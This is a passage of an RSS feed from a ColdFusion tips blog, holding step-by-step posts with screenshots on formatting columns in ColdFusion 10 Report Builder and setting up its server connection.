&lt;div class=&quot;MsoNormal&quot;&gt;
Let’s see how we can do that:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
First click on #1: A new window will pop up like below&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz3mCG9I5mXsiBhzjZPOcy_59BPPfbDTw1up02Vav9BpVHkS2q71vU3Ef6_GIPVfXBUxzTz8w8MZWIatIotoybpbiNO65o5cTe1yyktLV_7N_2eradlzsReDBlz2qQV1ymL-2hzjwa9bE/s1600/rc-12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;340&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz3mCG9I5mXsiBhzjZPOcy_59BPPfbDTw1up02Vav9BpVHkS2q71vU3Ef6_GIPVfXBUxzTz8w8MZWIatIotoybpbiNO65o5cTe1yyktLV_7N_2eradlzsReDBlz2qQV1ymL-2hzjwa9bE/s640/rc-12.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;!--[if gte vml 1]&gt;&lt;v:shape
 id=&quot;Picture_x0020_8&quot; o:spid=&quot;_x0000_i1028&quot; type=&quot;#_x0000_t75&quot; alt=&quot;rc-12.png&quot;
 style=&#39;width:468pt;height:249pt;visibility:visible;mso-wrap-style:square&#39;&gt;
 &lt;v:imagedata src=&quot;file:///C:\Users\UPENDR~1\AppData\Local\Temp\msohtmlclip1\01\clip_image017.png&quot;
  o:title=&quot;rc-12&quot;/&gt;
&lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Here, I have used ColdFusion &lt;b&gt;DateFormat() &lt;/b&gt;to formatting the displaying date.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Click on #2: A new pop up window will be displayed:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicnfcRhgBW_gjU-kpsCjUWX5uYLgyA1RLvsqC5KC70GIUtYsSCOuXpgIkMCgiTs8CRFT4Y3SBoPQ4dbZdL-iIMJcBwlnZh-NDjwqeqYpK6k_jC_jA1BeZMoy1osfhZqTdQ1xYvef6WHmg/s1600/rc-13.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicnfcRhgBW_gjU-kpsCjUWX5uYLgyA1RLvsqC5KC70GIUtYsSCOuXpgIkMCgiTs8CRFT4Y3SBoPQ4dbZdL-iIMJcBwlnZh-NDjwqeqYpK6k_jC_jA1BeZMoy1osfhZqTdQ1xYvef6WHmg/s1600/rc-13.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Here, I just changed column header from “&lt;b&gt;ISSOLD&lt;/b&gt;” to “&lt;b&gt;Sold&lt;/b&gt;”. So similarly we can change all the column header with some
descriptive name.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Click on #3: A new pop up window will appear like below:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiijLLaQ6xLAKYfcZhXAQUFCd6LQsXZO8sywdZ8YLdTwbUjeI_qb30GYRPAaBGlPWm4NBE4ReF94yy3pFS98Wg1wCCE4eBc8Wz2_RNKOBYN_9t9dUk7t8tROLT0uabspiPVl3r9CBYmK4I/s1600/rc-14.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;341&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiijLLaQ6xLAKYfcZhXAQUFCd6LQsXZO8sywdZ8YLdTwbUjeI_qb30GYRPAaBGlPWm4NBE4ReF94yy3pFS98Wg1wCCE4eBc8Wz2_RNKOBYN_9t9dUk7t8tROLT0uabspiPVl3r9CBYmK4I/s640/rc-14.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Here, we just used another ColdFusion function for display
formatting of a field value. Similarly, you can apply your own logic on other
fields if you want.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
I have changed the column header and added display
formatting function for header and cell values. Finally we will have the following
screen:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8ylhP4UOqiw4S0i8VBdAnakndK6xVtGsTvjeDkauoSeuaY8DYs9RmadULI0q_QNcuqat0nEUKvrzcpgt8PZFQ-nO6Ph0lKsqcb131EYJzDKJIaMPqfC0Yy9P8woaszIZHVGuN-TnjKwE/s1600/rc-15.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;311&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8ylhP4UOqiw4S0i8VBdAnakndK6xVtGsTvjeDkauoSeuaY8DYs9RmadULI0q_QNcuqat0nEUKvrzcpgt8PZFQ-nO6Ph0lKsqcb131EYJzDKJIaMPqfC0Yy9P8woaszIZHVGuN-TnjKwE/s640/rc-15.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Here, field names are changed and we can also see the
display formatting function in applied area then&amp;nbsp; click on preview button to see the preview of
the report. Then save the report. It will generate a “.cfr” file. &lt;br /&gt;
&lt;br /&gt;
Next, how we will use generated template in our ColdFusion code. &lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/using-coldfusion-report-template-to.html&quot; target=&quot;_blank&quot;&gt;Go here...&lt;/a&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/11/creating-tabular-report-using.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisimQ93c7fZzS3rG1QpaEzovs09ODsId6ywLlCW4W1ob14texQLGsGro1FWTtvzCmeTzpE8rw-BRIrRPej1XBik4Lq4zFEu5YclId3aGUw6v1r1HNHHJABCDrINoeLhVyiXvI33ra7uAQ/s72-c/rc-1.png" height="72" width="72"/><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-4223068210351879945</guid><pubDate>Sun, 10 Nov 2013 19:06:00 +0000</pubDate><atom:updated>2013-11-11T00:44:34.472+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Rport Builder</category><title>Server Set up in ColdFusion 10 Report Builder</title><description>&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;When we first run Report Builder then we will see screen for server set up
otherwise by clicking on&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;File - &amp;gt; New, we will see a screen like below.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh29K2yrWsImUtXep9_KkYunkvA6nghdTqTYzVfUFNA3m48i85RoF4Reocp3NZNE922J7p3UePk7BEhrWnqWRLPZtCetzg6FnW6R2pISNoXcHmtMpMRFakaYvVtGwrDVXnbyC7PXRejIZo/s1600/ss-0.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh29K2yrWsImUtXep9_KkYunkvA6nghdTqTYzVfUFNA3m48i85RoF4Reocp3NZNE922J7p3UePk7BEhrWnqWRLPZtCetzg6FnW6R2pISNoXcHmtMpMRFakaYvVtGwrDVXnbyC7PXRejIZo/s1600/ss-0.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;Here we have to select &quot;Server Setup Wizard&quot; as highlighted then
click &quot;OK&quot; it will take you to the server set up screen(as shown
below).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKDhJsG6346KMQNYMu-N7i1FS71GEZuL-D_yrK4PObGBZ1YvGC9ci8SZv1DeezU6m7hJ2z1fH-xf_aWh4TdavAmaRN9hBP_ZkCrfkVIqWGNYI1mCigT2oqtrogb7sJoRbfzp9aIy-Elg8/s1600/ss-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKDhJsG6346KMQNYMu-N7i1FS71GEZuL-D_yrK4PObGBZ1YvGC9ci8SZv1DeezU6m7hJ2z1fH-xf_aWh4TdavAmaRN9hBP_ZkCrfkVIqWGNYI1mCigT2oqtrogb7sJoRbfzp9aIy-Elg8/s1600/ss-1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;Click &quot;Next&quot; in above screen then you will see another screen as
shown below.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie224Pt9Zz8Tn05q8xmLAYay3ysZC2hDD-lxEwmZ_GrLbepa86DseGfVho91b2wwlEfDfZ3_EuTjp-X_3JlzaCnKut9J4vuE8XWuvLoAUbKUlGpC3UgokjSSJOfMCynmJYn8wLK5sftUI/s1600/ss-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie224Pt9Zz8Tn05q8xmLAYay3ysZC2hDD-lxEwmZ_GrLbepa86DseGfVho91b2wwlEfDfZ3_EuTjp-X_3JlzaCnKut9J4vuE8XWuvLoAUbKUlGpC3UgokjSSJOfMCynmJYn8wLK5sftUI/s1600/ss-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;In this screen, you can see &quot;Measurement Units&quot; drop down. It
shows different scale, you have to select one which you want to use in your
report. Then click &quot;Next&quot;. You will see another screen like below.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfYDGzXpgF_06P8bl1-T9SNLd_BmdKfC2Dgi71uIruQq7LW5gixGceXIIQGUcTsgXfYCl9YmTig7Fn33zC-isezb8lIjBxeoi1AtnUIbrntds88jfOoLYoa8AoamRRoGQEAP_SqYoxn_Q/s1600/ss-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfYDGzXpgF_06P8bl1-T9SNLd_BmdKfC2Dgi71uIruQq7LW5gixGceXIIQGUcTsgXfYCl9YmTig7Fn33zC-isezb8lIjBxeoi1AtnUIbrntds88jfOoLYoa8AoamRRoGQEAP_SqYoxn_Q/s1600/ss-3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;In above screen, we have to provide server details to which want to
connect.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;span lang=&quot;EN&quot;&gt;Description&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN&quot;&gt;: Any Name for identifying that server.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span lang=&quot;EN&quot;&gt;Host Name&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN&quot;&gt;: IP/Server Name&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span lang=&quot;EN&quot;&gt;Port&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN&quot;&gt;: Port no on which your coldfusion is running. For me it&#39;s 8500&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Use &lt;b&gt;SSL check box, content Root, RDS Security(User Name), &lt;/b&gt;if it is
required for you.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span lang=&quot;EN&quot;&gt;Password&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN&quot;&gt;: Provide RDS password which you have set up in ColdFusion Admin.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;After all these values click on &quot;Test Connection&quot; to see if you
are able to connect to server or not. Then you will see a screen like below.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2s9Mjj8zC0WHsTikji8MWgzcYtZpVTVzCqJ8y7ND61tsARmnN2uoNMlacy8EyiLfcRHcrAVugbctGkWMMP7uZ_5I49Pe0H1qiipLd6e5GLtZPNDefLb68hPyfJ7kxWoPUTyL1OHDVN20/s1600/ss-4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2s9Mjj8zC0WHsTikji8MWgzcYtZpVTVzCqJ8y7ND61tsARmnN2uoNMlacy8EyiLfcRHcrAVugbctGkWMMP7uZ_5I49Pe0H1qiipLd6e5GLtZPNDefLb68hPyfJ7kxWoPUTyL1OHDVN20/s1600/ss-4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;Here everything is fine for me. If you are facing any problem please check
again the values you are providing and also check whether RDS is allowed in the
target server and if the server is running or not.&amp;nbsp;&lt;/span&gt;Then close the screen and click on &quot;OK&quot; button. You will see
below screen.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNjmoEdByv4Sy4Q5XKT9z2TEgZkHtDJJbUuW6fxu7N7HQLDXHY3tDvK0MVBV6wfR3IvqVX9-Au78sgC_E0hT08ne8e1On3fS4eWd1ka9ShXCHwcbxzl-58U1aQi0j09RLQhMHZ6ye55ho/s1600/ss-5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNjmoEdByv4Sy4Q5XKT9z2TEgZkHtDJJbUuW6fxu7N7HQLDXHY3tDvK0MVBV6wfR3IvqVX9-Au78sgC_E0hT08ne8e1On3fS4eWd1ka9ShXCHwcbxzl-58U1aQi0j09RLQhMHZ6ye55ho/s1600/ss-5.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;Here in above screen you can see in CF Server label &quot;CF10 Local&quot;
is selected which we just set up. Also, you can see two other fields,&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;&lt;span lang=&quot;EN&quot;&gt;Local Webroot&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN&quot;&gt;: Web root of the server which you have selected.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span lang=&quot;EN&quot;&gt;Website Webroot&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN&quot;&gt;: Exact URL root to browse any file on that server.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;You can follow the instructions and the example I am showing you for
reference. &lt;/span&gt;Then Click on &quot;Next&quot; button, you will see a screen like below.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFnvIrOOHuvrA4fEmtxU8YMvH9NhGXFO0RPIzU6kKFPPmTZo1qnESfrRip0ZNaTSKdgad35S2Fxj8gtlnzfv7ITZgXUJj2TryM-fgsaWOTRjSU-i2l6CQLK44DBlkGlRI2UrNBvuskcNw/s1600/ss-6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFnvIrOOHuvrA4fEmtxU8YMvH9NhGXFO0RPIzU6kKFPPmTZo1qnESfrRip0ZNaTSKdgad35S2Fxj8gtlnzfv7ITZgXUJj2TryM-fgsaWOTRjSU-i2l6CQLK44DBlkGlRI2UrNBvuskcNw/s1600/ss-6.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;So, all your set up is done just click on &quot;Finish&quot; to complete
the process or &quot;Previsous&quot; to change anything.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;We have linked a server to the Report Builder then what&#39;s next???&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN&quot;&gt;Let&#39;s try a simple report template with Report Builder here. &lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/creating-tabular-report-using.html&quot; target=&quot;_blank&quot;&gt;Go here....&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/11/server-set-up-in-coldfusion-10-report.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh29K2yrWsImUtXep9_KkYunkvA6nghdTqTYzVfUFNA3m48i85RoF4Reocp3NZNE922J7p3UePk7BEhrWnqWRLPZtCetzg6FnW6R2pISNoXcHmtMpMRFakaYvVtGwrDVXnbyC7PXRejIZo/s72-c/ss-0.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-2774539618116975474</guid><pubDate>Sun, 10 Nov 2013 19:01:00 +0000</pubDate><atom:updated>2013-11-11T00:44:34.463+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Rport Builder</category><title>Starting With ColdFusion Report Builder</title><description>&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;I think most of you have heard something&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt; a&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;bout report builder in different
tools like SQL server report building tool and other report building tools for
different languages.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;In ColdFusion, we also have a report building tool
called &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;“&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;ColdFusion Report Builder&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;”&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;. So, lets explore about it.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;What is a Report Building &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Times New Roman, serif; font-size: small;&quot;&gt;Report building means to&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;represent&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman, serif; font-size: small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;some information in graphical way ex:- different kinds of chart or tabular
format&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;I will cover basic things of ColdFusion Report
building. &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;I have&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;
divided the report building&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt; topic&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman, serif; font-size: small;&quot;&gt; into&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman, serif;&quot;&gt;following&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman, serif; font-size: small;&quot;&gt;&amp;nbsp;section&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-font-kerning: .5pt;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-font-kerning: .5pt;&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-ansi-language: #00FF; mso-font-kerning: .5pt;&quot;&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/starting-with-coldfusion-report-builder.html&quot; target=&quot;_blank&quot;&gt;Installing ColdFusion 10 Report Builder&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
